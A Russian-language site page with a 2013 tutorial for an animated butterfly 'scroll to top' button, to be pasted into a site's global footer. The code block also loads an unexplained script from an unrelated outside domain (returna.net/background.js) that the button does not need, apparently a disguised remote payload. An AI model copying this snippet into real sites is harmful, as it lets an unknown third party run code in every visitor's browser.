Меню сайта
- ----------------------------
Наш опрос
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Общая статистика:
- Всего чел. на сайте: 4450
- Новых за месяц: 0
- Новых за неделю: 0
- Новых вчера: 0
- Новых сегодня: 0
Сегодня нас посетили:
Популярные файлы
| [Новости] | |
| Онлайн-камера Елец (5325) | |
| [EventScripts] | |
| EventScripts v2.0.0.... (1006) | |
| [EventScripts] | |
| Mattie_eventscripts_... (966) | |
| [Музыка] | |
| √ιק Sirius.tm √ιק - ... (645) | |
| [Готовые сервера CS] | |
| Готовый сервер Count... (625) | |
| [Готовые сервера CS] | |
| Готовый сервер CS:S (557) | |
| [Готовые сервера CS] | |
| Готовые сервера CS:S... (530) | |
Теги
Поиск
Мини-чат
Главная » 2013 Май 3 » Уникальная кнопка Scroll To Top (наверх) для сайта
18:59:06 Уникальная кнопка Scroll To Top (наверх) для сайта | |
 Моя кнопка имеет пару существенных деталей, которые придают ей уникальность. Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии). Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности. И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным. Установка: Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код. Код <style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);} .b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;} .b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px; color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){ $(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}}); $('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;}); });</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div> | |
|
| |
| Всего комментариев: 0 | |